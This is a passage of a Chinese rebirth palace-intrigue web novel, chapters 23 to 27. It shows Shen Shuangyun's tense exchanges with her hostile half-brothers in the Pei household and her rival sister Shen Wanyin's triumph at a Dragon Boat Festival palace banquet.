沈墨言这才甘休,铁青着脸坐下。
随后的聚会,全程都是裴寒声主导,他笑着问沈婉音的婚事,“已经定下了,和楚世子?”
沈婉音神气十足地回,“定了啊,世子爷答应我,会求太后娘娘赐婚,就在这个端午节,我要进宫了!”
“爹娘给我备了嫁妆,足足六十八台!”
“我是侧妃呢。”
前世被裴家公子们打击得太狠,今生终于翻身,沈婉音喜得发狂,只想炫耀。
“哦~”
裴寒声挑眉轻蔑,心中的疑惑更重了。
沈婉音,一个连‘事不密则成害’的道理都不知道,肤浅轻浮的女子,楚清晏看上她哪了?
真是冲裴家来的?
那也太看不起他们兄弟了!
沈婉音能从他们这里探到什么?
沈婉音喋喋不休。
沈宁川和沈今安也跟着凑趣。
只有沈墨言没从丢人的情绪里挣扎出来,依然拉着个脸。
沈霜云眉眼冷淡,瞧着沈家子为巴结上国公府,一脸兴奋的样子,她的眼底透出一丝冷意。
沈家根本不知,柳姨娘陷害先夫人的事。
镇国公府和晋王府的敌对关系,也只在勋贵宗室里隐秘流传,那是皇商沈家接触不到的层次。
只是……
沈婉音该晓得啊,怎么没说?
她的目光扫过。
沈婉音笑得春光灿烂,眸里浮着算计的光芒。
她自然知道两府间的深仇,可又怎样?如今,她要入晋王府,肯定要替世子爷打算,哥哥们接触裴家恶鬼们,态度卑微些,受点委屈。
都是小事。
关键是能从他们口中,探听到镇国公府的隐秘计划!
她是要做世子妃,甚至皇后的女人,怎么能不替世子爷着想呢?
重生归来,占尽先机,裴家恶魔们却懵懂无知,有心算无心,说不定,她会是今生世子爷板到镇国公府的大功臣。
不用生子,就能上位。
哈哈哈哈。
她太聪明了。
沈婉音眉飞色舞,得意的十分露骨。
裴家兄弟轻蔑的,像看笑话般看她,但,聚会时有这样一个,能言会道,软言软声,舍得下脸,又足够蠢的人。
的确很能提升气氛。
两家公子间那淡淡的尴尬,居然被她打破了,直到酒席结束,都没冷场。
‘相谈甚欢’。
起身告辞时,他们甚至约定下回再见,只有沈墨言,依然耿耿于怀,出门下楼时,冷冷落下一句,“沈霜云,婉音成亲时,你替她添五千两的嫁妆。”
“我就宽宏大量地原谅你。”
“勉强承认你是我妹妹。”
说罢,转身离开。
沈婉音撅嘴,朝沈霜云挑衅一笑,风摆荷叶,遥遥而去。
沈家人走了。
裴家兄弟们面面相觑,无声上了马车,裴照野全陪在沈霜云身边,拉着她的手,气鼓鼓地安慰,“没事,谁管他承不承!”
“你是小爷的姐姐,小爷承认你就好了。”
“有我这么可爱贴心的弟弟,谁还要沈家那个蠢货!”
“对吧,大姐姐。”
裴照野昂着下巴,小心看她。
怕她难过。
“对,照野就是最好的,大姐姐有你就够了。”
沈霜云搂住他。
裴照野瞬间害羞,耳尖都红了,凶巴巴地嘟囔,“我是男子汉了,你不能像抱小孩子一样抱我……”
身子却乖乖没动。
一路陪伴,他送沈霜云回到降云阁,又陪她待了一下午,直到裴寒声派人来找他,才依依不舍地离去。
彼时,天色已晚。
沈霜云见时辰差不多,该去和谢夫人用晚膳,刚出了院门。
裴寂之静静站在那里,冷冽出声,“沈霜云,你是要母亲,替你出嫁妆钱吗?”
第23章 世子爷的为难和怜惜
裴寂之踩着树杆下的阴影走来,草地在他墨色的靴底发细微的‘吱嘎’声。
阳光透过树影割裂了他冷寂的面容,衬得他如玉容颜,像淬了毒的薄刃。
“沈姑娘,回答我的问题。”
他行至沈霜云身前,高大身影笼罩下来,淡漠至极的声音,滑过耳畔,寒渊般的眼里沉着将熄未熄的星火。
仿佛……
猎手发现陷阱里颤抖的幼鹿。
他的视线,凝视沈霜云的脸庞,冰凉如蛇信,偏偏呼吸是烫的,“不言语?”
“心虚吗?”
被那样一双眼睛盯着,沈霜云呼吸都窒住了,掩在袖下的双手,蓦然握紧。
指甲在掌心掐出印记。
镇国公府里,真正能做主把她轰出去的,只有男主人镇国公裴维和……
世子裴寂之。
尤其裴寂之的身份……
他才是镇国公府和裴贵妃摆脱前世命运,绝地翻盘的唯一条件。
沈霜云最不想,也最不能得罪的。
是他。
自从回府,裴寒声,裴九卿,或虚情,或假意,都跟她接触过,只有裴寂之。
寂寥冷漠。
视若无睹。
对他来说,沈霜云的存在,像是路边一块石头,府里一盏油灯,无足轻重。
不入他眼。
今番,他主动找来,沈霜云罔知所措。
不晓该喜该悲?
又要如何应对?
她飞快思索。
“霜云见过世子爷。”垂眸敛身,规矩行礼,“世子爷安好。”
“霜云不知,自己应心虚何处?”
沈霜云抿唇。
裴寂之来寻,心里肯定是不满了,要先打消他的顾忌。
“自从盘古开天地,都没有未出阁的姐姐,给妹妹添厚妆的道理,五千两实属戏言。”
“霜云不曾放入心中,更何况向母亲讨要?”
“实在荒谬,世子玩笑了。”
裴寂之的目光深如寒潭,他淡漠俯视沈霜云,凝视她不卑不亢的面容。
唇角微微上扬。
仿佛锁定猎物的猛兽,带着轻描淡写间,夺人性命的危险。
沈霜云寒毛竖起。
“玩笑?我不觉得那是玩笑,沈姑娘,你处变不惊,城府深沉,哄骗的照野替你冲锋陷阵。”
“母亲心善,怜你处境,不愿跟你计较,但是,沈姑娘。”
“你当自知,别把那些继承自血脉的轻贱和手段,用到公府来。”
裴寂之淡声,神情从容,语意里带着直白的恶。
沈霜云握紧袖子,指尖微微发颤。
继承自血脉的轻贱和手段。
这话当真刺耳,赫然显示着,除了裴照野和谢夫人,这座奢华高雅的镇国公府,她的骨肉亲人,都不欢迎她回来。
他们排斥她,厌恶她,甚至恨她。
但……
她要留下。
她要活得好。
前世,从晋王后宅的泥沼里挣脱出来,今生,她也要活得光鲜亮丽。
裴寂之和裴九卿不一样,没有骨子里的正直怜贫,他性情更冷硬,她的遭遇,不会为她迎来同情。
反而……
想起前世,裴寂之的风评,沈霜云觉得,他更欣赏坚韧之人。
镇国公裴维,便是外柔内刚,身为人子,总不会厌恶父亲吧?
“世子爷。”定下心神,沈霜云直视他,杏眸不闪不避,“姐弟之情,在你眼中,也是利用吗?”
“我知道,你关心照野,想要保护他,我跟你是一样的。”
“照野也一样。”
“我们都想维护在意的人。”
他关心关野,因此来警告她,照野,也是心疼姐姐。
“一样?”裴寂之讳莫,眼底疑着寒霜,像是在欣赏一场拙劣的戏码,他薄唇微勾,藏着几分嘲弄的意味,“你?”
“是我。”沈霜云迎上他的目光,唇角抿起从容的弧度。
清澈坦然,温柔坚定,不躲闪,也不咄咄逼人。
她道:“佛云世间皆苦,我不过芸芸世人中,再普通的一个,流离失孤,并非我错,为人所救,也非我愿。
“沈家待我如何,世子亲眼见过,回府与否,也不是我来决定的。”
“沈家要送,你们愿意接纳,我才回来。”
“这么说来?你到是随波逐流了?”裴寂之不可置否。
沈霜云,“随波逐流?我更想说,随遇而安。”
“价值千金的空谷幽兰,万人追捧,爱者为之掷万金,路边野草,无人关照,同样也要往繁茂着长。”
就像沈婉音是珍珠宝玉,她是粗石沙粒,但……
“世子,我之所愿,一方院落,一份清净。”
“您不用这般警惕,我仅一人,孤身与世,举目无援,坏不了你们的事,也算计不着你们。”
裴寂之沉寂,目光第一次认真落到她身上。
削瘦,矮小。
明明跟沈婉音是双胞胎,体态却差她太多,沈婉音丰腴得像熟透的桃子,沈霜云却单薄的仿佛一阵风就能吹散。
但她抬眸望来时,杏眸清亮如寒潭映月,竟给人种强大的感觉。
“如你所言,到是清净无为,但,你若当真心如琉璃,不争不抢,沈家因何错待你?”
沈婉音虚荣粗鄙,都得偏爱,沈霜云却被鄙夷轻蔑,必有缘故!
“因为他们是坏人!”沈霜云清洌的声调,仿佛珠玉落地,不带任何语气,“世子爷,他们对我不好,你为何觉得我有错,而不是他们有错?”
“我在沈家十五年,洗衣做饭,铺床叠被,女儿和婢女的活,我都做了。”
“我对养父母孝顺,对兄长们尊敬,对妹妹友爱,该替他们做的,不该替他们做的,我都做了。”
“我问心无愧。”
“这个问题,你去问他们,不要来问我。”
“如今,世子爷,我也想问你,你们兄弟,为何要来针对我?”
“你们不是我哥哥吗?”
——
沈霜云和裴寂之不欢而用,她……
内心十分强大。
后宅唇枪舌剑,扎心之语,时时刻刻,过耳就忘,于是,让裴寂之无功而返后。
沈霜云心里没起一丝波澜,平静前往正院,陪谢夫人去了。
裴寂之冷峻容颜漠然,来到四弟院里,冷冷地凝视着他。
看的裴寒声莫名其妙。
“大哥,你怎么了?”
“有事你说话,这么看着我,弟弟我心很慌。”
他上下打量自己,想瞅瞅是不是衣裳穿反了。
裴寂之默寂许久,沉声问道:“四弟,你定然要为难沈霜云吗?”
第24章 大哥,你要为了沈霜云跟我做对吗?
沈霜云入府后,裴寂之对她的感观,如路旁野猫,观之碍眼,弟弟又厌恶,自随他处置。
然……
十五年流离,沈霜云未曾锦衣玉食,反如奴婢般长大,母罪及女。
但她未被柳姨娘养育。
沈霜云那句,“你们不是我哥哥吗?”
晃动他的眼瞳。
“大哥,你什么意思?小五年纪小,不懂事,又跟咱们异母,被那贱人蛊惑了,我能谅解。”
“你也要阻止我,觉得我没底线吗?”
裴寒声脸上的肌肉颤抖着,眼睛里也迸出愤怒的火焰。
十五年前,那场宫变,大哥和二哥宫中伴驾,三哥随父在军营,只有他跟母亲在府里。
经历厉王乱军攻破府门。
母亲带着他,柳姨娘抱着两个刚刚满月的妹妹,仓惶逃窜,却路遇厉王乱军,他和侍卫拔剑抵挡,护着女眷。
谁知,一声惨叫,他回去看,就见倒在血泊中的母亲,和逃跑的柳姨娘的背影。
母亲胸前插着乱军的剑,她护着柳姨娘和两个庶女,那贱人却恩将仇报,用她挡刀。
“大哥,母亲在病床上挣扎三年。”
“你在宫中任职,二哥与白鹿书院读书,三哥久在边城,只有我陪伴母亲膝下。”
眼睁睁看着她,一天一天地死去。
束手无策。
扫去斯文公子的皮囊,裴寒声目光里迸出刻骨的仇恨。
仿佛地狱里爬出的恶鬼。
“我无法原谅,无法宽容,柳氏贱妇死在乱军中,但她的女儿还活着。”
裴寂之揽住弟弟手臂,惯来漠然的目光染上雾色。
“我懂了。”
他说:“只要你心中舒畅,兄长帮你。”
沈霜云固然有无辜可怜之处,他也无法理直气壮,回答她的问题,但……
裴寂之重视亲人。
弟弟更重要。
大不了,弟弟出气后,他替沈霜云选一门好亲事,多给点嫁妆,远远嫁人。
全她安稳生活之心就是。
——
时光流逝,转眼新衣裳做好了。
谢夫人唤沈霜云去试,她坐在正院的椅子上,看着裴照野活力四射地上蹿下跳。
心中有几分焦急。
端午宫宴后,裴三公子裴临渊就要回京了,他回京代表百花宴的举行。
那日,世子爷没辩过她,沉默离去,她明明感觉到裴寂之的态度有所松动。
感觉错了?
不会。
前世她在楚清晏院中,用生命习来的察言观色,判断情绪,从来很准。
失败就死了。
她针对裴寂之的性情,半是真心,半是刻意地说了那些话,却没有效果……
“大姐姐,你看我帅气吗?”
裴照野圆圆的小粉脸凑过来,歪着脑袋。
丸子头垂到一边。
沈霜云回神,温柔笑着,替他搂了搂,“又帅气又威风,母亲挑的极好。”
她夸两人。
谢夫人眉眼微弯,心情极好,她笑对沈霜云道:“是你和照野长得好,衣裳衬出你们的本色,才显得好看。”
“霜云也是大姑娘了,你爹回来见了,必然高兴。”
“娘,爹的信到了?他什么时候来啊?”裴照野惊喜,‘哒咴哒哒’跑到谢夫人身前,仰脸问她。
大眼睛亮晶晶的。
像个渴盼小鱼干的猫儿。
“快了,约莫就是十天后,临渊同他一块儿。”
裴照野的嘴撅了撅,嘟囔道:“好可惜,爹和三哥不能陪咱们一块进宫过端午。”
“他去年回来时,都答应过我了,说话不算数。”
“不过,算了算了,小爷我大人有大量,原谅爹好了。”
谢夫人眼神充满宠溺,又含笑望沈霜云,替她高兴道:“你爹写回的信里,一直提你,他回来你就好了。”
几个继子对沈霜云的冷淡,她看在眼里,可怜一个小姑娘,在自己家中过得谨小慎微,小心翼翼。
她身为继母,能照佛日常,旁的……
无能为力。
她也有儿子要顾及。
镇国公回来,总会护着亲生女儿,霜云的日子也能松快些,她已及笄,择个好夫婿。
有她,有照野,总会美满。
“这次国公回来,会安排下寂之的婚事,他做长兄的成了亲,下面九卿,临渊,寒声也会很快……”
他们都有结果,接下来,就是霜云了。
裴寂之今年二十六了,这个年纪,宗室勋贵家的公子,儿女都成群结队,偏裴寂之孤身一人,院里连个通房都没有。
他连守三回孝。
不是三年,是三回。
白夫人病亡,裴寂之守足三年母孝,府中未有主母,没人替他操持,后来谢夫人进门,接手此事。
久病卧床的老国公夫人病逝了。
祖母去世,按制孙辈守一年,可裴寂之是继承爵位的嫡长孙,与子相同。
他守三年。
三年孝后,谢夫人又想操持,没等开选,老国公意外身亡。
又三年!
九年了。
他不成亲,弟弟们也不好越过兄长,全都孑然一身。
对比后院正妃侧妃、庶妃侍妾、通房宠婢,数上名儿的,二十多个女人的楚清晏,裴寂之简直‘单纯’得可怕。
只可惜……
这回,他也成不了亲。
沈霜云幽幽轻叹,镇国公回不了京,这次回不了,也没有下回。
直到裴贵妃自尽而亡,镇国公府抄家灭族,镇国公都没回京。
回来的只有厌恶她生母的裴临渊。
他没法帮儿子选媳妇,也维护不了自己这个女儿。
终他一生,都在四处打仗,从十八岁的白袍小将,战至六十八岁两鬓斑白。
他为大楚江山,为黎民百姓,奔波奉献。
最终,满门抄斩,死无全尸。
太平本是将军定,不许将军见太平。
沈霜云轻声附和谢夫人,跟裴照野笑闹,心中却是悲凉。
试完衣裳,有不合适的地方,当场让绣娘改了,三人用过晚膳,沈霜云回到降云阁,桃心桃核服侍她洗漱换衣。
躺到榻里,她睁着眼睛,全无睡意。
一夜未眠。
次日,她醒来,给谢夫人问过安后,就直接去了问道阁,那是裴九卿的住处。
今天是官员七日休沐日,裴九卿刚洗漱完,懒散支肘儿看书,就见沈霜云过来,眉头瞬间拧起。
“你干什么来了?”
第25章 爱好送礼的裴二哥
沈霜云走向裴九卿。
小厮二两想拦,然,瞧瞧自家二爷神情,虽是暴躁至极,却无阻止之意,犹豫再三。
终是止步。
沈霜云半带轻笑,启唇道:“二公子,霜云进府许久,多蒙几位公子照佛,不曾回报,心中颇为不安。”
“便打了些络子,赠与诸位公子们,聊表寸心。”
说罢,她递上个梅花攒心的络子。
沈府两姐妹,沈婉音琴棋书画,样样精通,会作诗,善绿腰舞,沈霜云于文之一道,却无特长。
仅是沈婉音启蒙时,她随行伺候,学过两年罢了。
但,她字写得好。
沈婉音和沈今安被先生罚抄时,都会命令她代笔,日积月累,练出一副好字。
她针线也佳,会打几百种花样的络子,沈家三兄弟的剑穗,扇坠,周氏的抹额,绣鞋都是她精心做的。
可惜,他们从不珍惜,随意弄坏打赏……
有回周氏过寿,她院中丫鬟们贺喜,讨了她欢心,她特意吩咐沈霜云打两百个络子赏人,美其名曰:“都沾沾我的喜气儿!”
那回,沈霜云打络子打得手都肿了,略求了几句,想宽限两日,周氏骂她,“你一草一纸,都是用家里的银子,家里供你吃喝穿戴,打几个络子就矫情了?”
“你就那么精贵?懒得要死,哪像你妹妹,早给我备了寿礼……”
沈霜云只有苦笑。
沈婉音有全府补贴,而她,连月钱都没有,想换些吃喝外的花用,要做针线打络子,偷偷卖钱!
却也精进了她的手艺。
初入晋王府,她是靠这门手艺活下来的,如今,也要靠它做接近裴九卿的理由。
她想在试试。
跟裴寂之相比,裴九卿的性格更吃‘软’,也会怜惜弱小。
“这,就我一个人有?”裴九卿用两根手指,拎着这枚不知费了多少工夫,才得的精致物件!
丝线盘绕,细密匀称,竟似真梅吐蕊,五瓣花儿攒在一处,瓣瓣分明,莫说佩戴,便是瞧着,都教人爱不释手。
“自然不是,几位公子都有的。”
自进府后,每日闲云阁,沈霜云都会花一个半时辰,抄佛经,做针线。
谢夫人和裴照野那里,她送了不知多少,裴家公子处,到是今晨才有。
裴寂之和裴寒声,是桃心桃核送的,只有裴九卿这里,她亲自来了。
“哦,我知道了。”
裴九卿面色不耐,但,伸手不打脸人,更不好打送礼人。
“多谢了,你的礼,我收下了,二两,你去库房搬两匹布料,给云姑娘送去。”
有礼有回,摆明不想跟沈霜云有瓜葛。
“是,公子。”
二两应声,转身离去。
沈霜云沉默。
裴九卿拧眉看她,神色越发不耐。
像在说,他礼也收了,回报也给了,怎么还不滚?
沈霜云在沈家见惯冷脸,她道:“二公子,今日霜云前来,还有一事,想求求公子!”
“哼!”
沈九卿冷笑,艳丽容颜浮出嘲讽。
得寸进尺,果然是柳氏贱血。
沈霜云视若无睹,她垂心微低,心中似有不宁,“二公子,昨日我跟世子爷偶然遇见,他对我似有误会,言语交谈间,一时不愤,我顶撞了他几句,回头想想,又觉不安,偏不好去找他,怕他更为气愤。”
“不知二公子见世子爷时,可否替我解释几句,我未有恶意,愿当面致歉,愿世子爷开怀,莫要跟我计较。”
“嗯?”裴九卿挑眉,“你跟我大哥起冲突了?”
他大哥?
裴寂之?
就那块盘古开地时,遗留下来的顽石,又冷又臭,硬得能补天了。
他会跟人吵起来?
“怎么回事?”
裴九卿好奇了。
“世子爷也是爱护弟弟……”沈霜云垂眸,把昨日冲突,一五一十的说了。
她记性极好,学得分毫不差,只是,裴寂之秉性孤冷,心硬淡漠,她与其交谈时,更注意亲情,显示自己无害,可裴九卿吃软不吃硬,又怜贫惜弱。
沈霜云侧重了自己的‘可怜’。
裴九卿默然,嘲讽神情收敛,他闭口不言,许久,突然问她,“骆明哲那个事儿,是你出的主意吧?”
沈霜云一怔,没有回答。
反而攒眉。
“我已经知道了,盈盈和照野青梅竹马,丹雪也是我们看着长大的,你救了丹雪,照野年纪小,却有侠义之心,维护你也不奇怪。”
他是京兆府尹,经手案件成百上千,再硬的骨头,到他这里也撑不过三天。
骆明哲又不硬。
一天都没撑过,直接招了。
“骆明哲之事,你若是讲出来,大哥不会误会你,母亲也会更加维护你!”
谢夫人曾敲打沈霜云之事。
裴九卿知道。
“为何不说?”
沈霜云抿唇,眉眼微低,片刻又抬起,半带轻笑地道:“事关女子清白,怎能随意宣之于口?”
她是有心讨好裴家公子们,想要留下来,想要好生活,但,怎么能用别人性命,翻旁人伤口?
“我也答应过照野,不会外泄。”
裴九卿的沉默更久了。
他的目光落到沈霜云身上,她很削瘦,皮肤白皙,却不细腻,十指纤纤,骨节宽大。
是长期做活的样子。
他是母胎受创,六月早产,才生得矮小,但沈霜云却比他还要削瘦,沈婉音跟她一母同胞,比她高了半个头,大了两圈儿。
看着丰腴,健康。
幼时,柳姨娘生下两个妹妹时,他也见过抱过,霜云是姐姐。
她在沈家,过得那么艰难吗?
“罢了,你回去吧,我会去找大哥,只是……”
很多事,终归放不下。
母亲,四弟。
裴九卿合眸摆手。
——
沈霜云回到降云阁,她知道,她失败了。
裴九卿的确怜惜她,对她也有些兄妹之情,但并不足以改变他的心意。
百花宴的困局,她依然要面对。
“云姑娘,二少爷院里小厮,送来了两匹布和一些补品,您看看放到哪儿?”
桃心突然来禀告。
“补品?”
不是只有布吗?
沈霜云疑惑,“是什么?”
“药材有鹿茸和党参,还有些食材,血燕,阿胶,莲子,桂圆之类的。”桃心禀。
都是补气血的,看来她去一趟,不算全然没有效果。
沈霜云苦笑。
“呃……”桃心迟疑,犹豫着说:“还有熊掌一对,鹿肉二十斤,獐子肉二十斤,鹌鹑十只,猪肘四个,牛腿两条……”
第26章 端午宫宴
裴九卿往降云阁送了一百多斤肉。
降云阁,从由到仆,一共六个人。
全是年轻女孩儿。
眼下正值五月,天气逐渐炎热,一百多斤肉,五个女孩儿吃,不得吃臭了啊?
但裴九卿送的都是珍味。
皆是大补。
前世,沈霜云想在沈府吃些肉,可不容易,小时候嘴馋,看见好吃的想多夹几筷子,周氏就要打她的嘴,骂她,“女子馋嘴,房倒屋损。”
“家里的好东西,要紧着你爹和你哥哥们用,你是女儿,要孝顺我这个娘,你是姐姐,要谦让照顾妹妹!”
“活你要抢着干,好东西要退让着给……”
后来到晋王府,楚清晏喜爱她弱质纤纤的身量,为了活命,更不敢吃,还是怀了孩子,才敢放肆。
怀孕九个月,吃饱喝足,她长大不少。
到跟沈婉音身高胖瘦相同,方便她李代桃僵了。
“时也,运也。”沈霜云微微苦涩,片刻又吐气。
安安静静地道:“但我偏不认。”
她把裴九卿送的礼分了些去正院和裴照野处,晚膳又狠狠用了两碗,夜半,独坐床里。
她思量着。
“百花宴,柳家人来,我阻止不了,我是庶出,非我之罪,他们能翻出的,就是姨娘谋害主母,我抛弃沈家,贪慕虚荣……”
“兄长失望,觉得我天性恶劣,给家族蒙羞,送我去庄子反省,我没有沈婉音的运气,沈家不会替我兜底。”
“还是要进宫冒险……”
沈霜云喃喃。
——
时光飞快流逝,转眼端午佳节已至。
沈霜云着一袭,谢夫人特意替她挑的,胭脂色暗边云纹广袖罗衫,云锦腰带松松挽着,下系雪青色百褶裙,行动时如春水泛波。
鬓边戴累丝嵌玉海棠步瑶,耳垂明珠珰,随步轻颤,漾出碎光点点,腕间笼着羊脂白玉镯。
都是谢夫人所赠。
沈霜云推辞过。
谢夫人却笑,“女孩儿是要有些首饰傍身,眼界宽阔,见识广薄,才不会被人用小恩小惠打动。”
“你也到年纪了,就当我这个做母亲的,给你攒嫁妆,收着吧。”
沈霜云如何不动容?
她坐着谢夫人的马车,来到皇宫前,换乘时,见离宫门百余米的路旁,停着辆青盖马车。
车下站着几个人。
沈万里、沈宁川和沈今安。
车内帘蔓晃动,似乎是有人。
沈婉音也要参加宫宴,这是阖府相送,一直陪着?
沈霜云漠然把目光收回,跟着谢夫人去到后宫,拜见裴贵妃。
裴家兄弟都去觐见庆元帝了。
两人来至锦绣宫。
庆元帝的皇后早亡,他没有继娶,六宫大权,一直由裴贵妃掌管,锦绣宫极致奢华,气势恢宏。
琉璃瓦,金碧窗,朱红墙,玉石杆,金漆雕刻花,蟠龙纹饰。
宛如天上宫阙。
两人顺利进殿,沈霜云微微有些惊异,前世,沈婉音可没见着裴贵妃的真面,进宫长见识,也只在宫外磕了头。
那时,沈婉音回家炫耀,又笑她,“你嫉妒吧,姐姐,可惜啊,你没那个命,我们是双胞胎,但我就有凤凰运,你呢,奴婢命,哈哈哈……”
“所有人都爱我,养父母宠我,公府的哥哥们爱我,皇宫我都去了,你的话,这辈子最大的机会,就是做我的洗脚婢,沾沾公府的光,哦,对了,我忘了,你做不成洗脚婢!”
“你成了最卑贱的妾室,是能提脚就卖的玩意儿,唉呀,怎么办啊,裴家哥哥们那么疼爱我,公府门第那么高,日后,我肯定会嫁大官王爷,做嫡妻正室。”
“我的幸福,你永远体会不了了……”
“同胞不同命,姐姐,你好可怜啊。”
那时,沈霜云真的羡慕她,沈婉音,有那么多人喜爱她,沈家,裴家,两对父母,七个哥哥,把她捧成凤凰。
她呢?
沈婉音笑她时,沈墨言就在一旁,神情宠溺纵容。
又在沈霜云露出羡慕神色时骂她,“整天丧着个脸,笨嘴拙舌,怪不得惹世子厌烦,婉音天真可怜,她都同情你了,你不会道谢吗?”
“好好服侍婉音,讨她欢心,日后说不定能拉你一把。”
“蠢得厉害。”
沈婉音哈哈大笑。
像个骄傲的凤凰。
今生,沈霜云也一身华服,走进皇宫。
她仰头看着奢华的宫殿,坚定踏步,迈入正殿,敛身福礼。
“霜云给贵妃娘娘请安,娘娘千岁千岁千千岁。”
“平身吧。”
金阶之上,裴贵妃内心复杂的垂眸。
“娘娘安好。”谢夫人欠身。
“嫂子太客气了。”裴贵妃抬手虚扶,又吩咐,“流苏,赐坐。”
“是。”
流苏上前,恭敬把谢夫人和沈霜云请至位置上。
随后,便是一番寒喧。
裴贵妃关切垂问府中情况,又给沈霜云赐下见面礼。
一套三十六件的头面首饰。
沈霜云谢恩,奉上她亲手抄的佛经。
厚厚一叠,流苏上前接时,都感觉沉得坠手。
“霜云真是有心了。”裴贵妃有点震惊。
她下旨传召沈霜云跟随进宫,也没多久,几天功夫,就能抄出这么多,可见其用心真诚。
沈霜云,“娘娘夸赞,愧不敢当。”
回府就开始抄了,一天一个时辰,其实没多累。
她降云阁里,还有好几本呢。
后宅女眷们,表孝心,表诚心,表自心,都需要佛经。
“霜云是个温柔敦厚的孩子,有长姐风范,又很贴心,自她回来后,我都觉得松快不少。”
“照野很喜欢她的。”
谢夫人笑赞。
裴贵妃的神情,更加复杂了,勉强应付几句,外间,突有内侍通禀,“娘娘,万岁爷带着几位裴大人,往锦绣宫来了!”
裴贵妃闻言,立时起身,“嫂子,霜云,快随我接驾。”
宫婢内侍们忽拉拉围上去。
谢夫人和沈霜云也忙跟随,众人来至宫门外,恭敬候着。
沈霜云垂首,谢夫人见状,悄悄拉住她的手,小声安慰道:“别害怕,我在呢。”
“上有询问,你如实答就是了。”
“陛下性情很温和。”
沈霜云,“是。”
众人等了一刻钟的功夫,净鞭响起,庆元帝御驾来临,裴寂之、裴九卿、裴寒声和裴照野,分站他身侧。
裴贵妃迎上前行礼,庆元帝伸手相扶,谢夫人和沈霜云坠在队尾,毫不起眼。
裴寒声的目光,穿过人群,直视到沈霜云身上。
竟觉阴冷。
第27章 御前答对
沈霜云感觉到,有阴冷又充满恶意的目光注视着她。
她没关注。
反把专注力全投射到庆元帝身上。
那是一位年过六旬的帝王,他身量不高,微微发福,面容刻着岁月的印章,已显老态。
然,看他眼神,却仍如鹰般锐利,仿佛能洞穿人心。
他握着裴贵妃的手,笑着问候谢夫人几句,安慰她,“据朕所知,裴爱卿已至沛县,再有五、七日的功夫,就能归京。”
“莫要惦记。”
谢夫人恭身道谢。
庆元帝摆手,又问了沈霜云一句,“你就是裴爱卿的女儿?”
“臣女叩见陛下。”
沈霜云跪地行礼。
庆元帝笑着喊‘平身’,说了句,“好,找回来就好。”又赏她一枚玉佩。
看着就是大度公正,又很温和的帝王,年过六旬,身体也很健康,楚氏长寿,八十尚健步如飞者,比比皆是,镇国公府觉得,庆元帝也会如此,但……
沈霜云知道,这都是假象。
三年后,庆元帝的身体情况,急转直下,短短五日,就无法起身。
国不可一日无君,万般无奈,他妥协过继楚清晏。
裴贵妃自尽宫中。
镇国公府大厦倾倒。
——
宫外,华灯夜彩的宫道两侧。
沈万里站在马车旁,贪婪野望地凝视着朱红宫墙,他搓揉手来回走动。
“也不知婉音如何了!”
马车里,周氏掀开车帘,担忧低声。
“无妨,婉音那么娇美可爱,哪会有人不喜欢她?况且,小王爷那么爱慕她,疼到骨子里,必然会护着她的。”
沈今安信心十足。
沈宁川却皱着眉,一副不安的样子。
帝王太后,大楚至尊,不像前世,被沈霜云扶持进国子监读书,长了见识。
如今的他,实在心有畏惧。
不敢揣测。
“你大哥也在宫里当差呢,他在皇帝身边,霜云也在,定会帮你妹妹的。”周氏嘟囔。
沈今安撇嘴,“那蠢丫头有什么用?别越帮越忙了。”
“你妹妹的好日子,少说丧气话。”沈万里喝斥,片刻,又呆怔地凝望宫墙。
十五年前,那位游方天下,以相术闻名的方士之言,尤在耳旁。
“你命中带运,乃是外戚之相,家族注定因女子光耀,向前去,千步之内,必遇贵女。”
他信了,于是捡到婉音。
如今,婉音这只天命凤凰,已经飞进皇宫。
他家要飞黄腾达了。
“我的女儿,我的福星,叫我怎么不疼你?”
沈万里呐呐。
一家人心心念念期盼着。
——
宫里,时间过的飞快,转眼天色将晚,庆元帝发话前往慈安宫,拜见太后。
端午是家宴。
宗室们都在慈安宫,包括晋王一家。
沈婉音应该也在吧。
沈霜云想着,整理衣衫向外走,头顶却突有阴影笼罩,她心中一悸,蓦然抬头。
撞进一双漠然寂寥的眸光里。
裴寂之离她很近,俯视的角度,沈霜云能清楚看见他浓密的长睫下,掩藏的晦涩眼瞳。
“世子爷?”
这是做甚?
她后退,福了一礼。
裴寂之沉默俯览,看着她低低的发旋儿,今日,她打扮得清丽可人,不知绣娘如何裁剪衣裳的,瞧着也没那么瘦弱了。
可裴寂之总记得她瘦骨伶仃的样子。
“沈姑娘巧舌如簧,哄骗得九卿替你说话,是你的本事,可今日在皇宫,当谨言慎行,莫要卖弄。”
沈霜云捏住衣摆,抬眸看他,半晌,突地笑了,“世子爷,我活了十五年,听进耳中的,从来都是‘笨嘴拙腮’,‘愚笨不堪’,你倒是第一个说我巧舌如簧的人。”
“世子,上回你说,旁人错待我,皆我之过,那今日,旁人都说我嘴拙,偏你觉得能言?”
“是你镜里观花错认真,有眼如盲,还是如我般,明察秋毫,认人所不能认?”
在裴寂之面前,她已做了淡泊宁静,芒寒色正之人。
就要一直做下去。
裴寂之冷峻容颜沉下,身为朝中权臣,陛下重用,已经很有人敢阴阳他。
他眼眸微眯,气势骇人。
谢夫人偶然回眸,无意看见,微一怔忡,便察觉继子生气了,这是在宫中跟霜云起冲突吗?
霜云平易温润,落落大方。
寂之怎么回事?
她启唇,想要打断,然而,沈霜云微微一笑,不急不缓的道:“世子爷,今番在宫中,陛下和娘娘面前,您教我谨言慎行,我自会遵守。”
“莫要耽误了,陛下已经走远。”
说罢,她抬步来到谢夫人身边,扶着她前行。
裴寂之落到后面,眼底有一闪而过的愤怒,旋即,又复杂起来。
这般外圆内方的秉性,竟像父亲。
他沉眉,默然片刻,追上了去。
御驾一行来至慈安宫,彼时,宗室众人已然到了,包括晋王府上下。
庆元帝驾临,众人起身恭迎,下跪行礼。
“平身吧,今日家宴,不必那么客套。”
他笑着摆手。
各自落座。
太后已年近八旬,到这个春秋,算是百无禁忌,满是皱纹的脸庞染上笑容,她拉过身侧的女孩儿,笑着道:“皇帝,你快来看看这孩子,是晋王妃带进宫的。”
“要给清晏新聘做侧妃,这孩子性格活泼,嘴巴又甜,很讨哀家欢心,你替哀家给她赐婚吧。”
庆元帝打量,神色一怔,蓦然回头。
沈霜云抬眸,目光和沈婉音撞到一处。
沈婉音半跪在太后的脚榻上,身体扭曲着,用一种猫儿狗儿受主人爱抚的姿态,攀在太后膝前,扬扬自得地俯视下来。
她高高昂着下巴,满目轻蔑。
猖狂得意之情尽显。
沈霜云,你的人生,你的福气,我沈婉音终于得到了!!
黄天,厚土,菩萨,祖佛!!
